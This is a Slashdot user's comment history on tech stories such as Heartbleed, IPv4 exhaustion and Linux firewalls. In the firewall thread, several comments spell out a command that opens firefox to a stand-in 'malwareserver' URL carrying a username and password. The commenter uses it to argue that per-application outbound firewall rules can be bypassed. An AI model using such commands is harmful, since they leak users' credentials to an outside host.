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Band Releases Album As Linux Kernel Module

allo Re:wow (124 comments)

Patent 6x9

yesterday
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WhatsApp Is Well On Its Way To A Billion Users

allo Re:That's wierd... (114 comments)

I guess facebook is calculating the numbers in a different way. When there is a faint trace of a user (i.e. an uploaded addressbook entry, which could be conntected to a user ASAP he installs WA), its a user. Other companies are more conservative and call only people actually (still) using their app users.

yesterday
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ARIN Is Down To the Last /8 of IPv4 Addresses

allo /8 is quite a bit (278 comments)

remember, there were only 256 /8 nets. So a /8 is a lot of adresspace.

yesterday
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Administration Ordered To Divulge Legal Basis For Killing Americans With Drones

allo Killing Americans (309 comments)

Isn't it a bit racist to make a difference between killing americans and other people?

2 days ago
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Women Increasingly Freezing Their Eggs To Pursue Their Careers

allo Why? (337 comments)

Whats the point in reproducing, if you have no mother feelings?

2 days ago
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Heartbleed Sparks 'Responsible' Disclosure Debate

allo Full disclosure, nothing else (188 comments)

Look, Google knew it. Google is part of prism. You are still wondering, if the NSA may have used Heartbleed?

about a week ago
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Tor Blacklisting Exit Nodes Vulnerable To Heartbleed

allo Re:Don't people encrypt over TOR anyway? (56 comments)

when the private key of your node is stolen, you cannot provide anonymity anymore. everyone will see, where the packet you are getting will be routed, because the client decides the nodes, not the network.

about a week ago
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The GNOME Foundation Is Running Out of Money

allo Re:Gnome go home (693 comments)

Did you spel check, jet?

about two weeks ago
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Ask Slashdot: How To Start With Linux In the Workplace?

allo Use Mint AS IS (452 comments)

Mint is quite similiar to classic windows, and much more similiar than Windows 8, even windows 7 has a new taskbar (by default).

about two weeks ago
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Google: Teach Girls Coding, Get $2,500; Teach Boys, Get $0

allo Re:Sex discrimination. (673 comments)

you are a private person. If you have an startup for stripper tipping, then you cannot discriminate.

Look at Eich and Mozilla. In private, he had the right to get political involved, but Mozilla does not want to get involved.

about two weeks ago
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Do Free-To-Play Games Get a Fair Shake?

allo Re:New? (181 comments)

But you pay one time for the full game, maybe one time per levelpack. Now you for each time, you play the level. And in 10 years you won't be able to get your old android tablet and show someone the old game, because it cannot contact its license-server and will only run the minimum features, if it starts at all.

about two weeks ago
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Nanodot-Based Smartphone Battery Recharges In 30 Seconds

allo what they do not tell you (227 comments)

it discharges in 30 seconds, too.

about two weeks ago
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Linux Developers Consider On-Screen QR Codes For Kernel Panics

allo Bug reporting will be much easier (175 comments)

Do you want to mail them physical screenshots? With a qr code, you can mail text.

about three weeks ago
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Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

allo Re:Wrong paradigm here (187 comments)

cgroups may help.

about three weeks ago
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Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

allo Re:Wrong paradigm here (187 comments)

argh, stop messing my posts ...

firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar"& sleep 2 && kill %1

about three weeks ago
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Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

allo Re:Wrong paradigm here (187 comments)

of course the cmdline needs to be:
'firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar&;sleep" '

stupid slashdot

about three weeks ago
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Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

allo Re:Wrong paradigm here (187 comments)

Blocking outbound on per-application basis is needed, if you do not trust your software. But untrusted software can evade this anyway. Just call "firefox http://malwareserver?mydata=i+... 2;kill %1"
So, how does the "~/bin/untrusted-download" firewall rule protect you now?

There is one simple rule for untrusted software: Do not run it.
Linux makes this easy, you need the execution bit, a download or an e-mail attachment will not have it by default. And Linux provides you with a big trusted software repo. You do not need to visit shady downloadsites, which bundle the apps with a strange installer.

about three weeks ago
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British Domain Registrar Offers 'No Transfer Fees,' Charges Transfer Fee

allo Re:Typical corporation bullshit (77 comments)

And in the USA you cannot? I would have thought, you will always be asked: terminate the contract or accept the new TOS.

about three weeks ago

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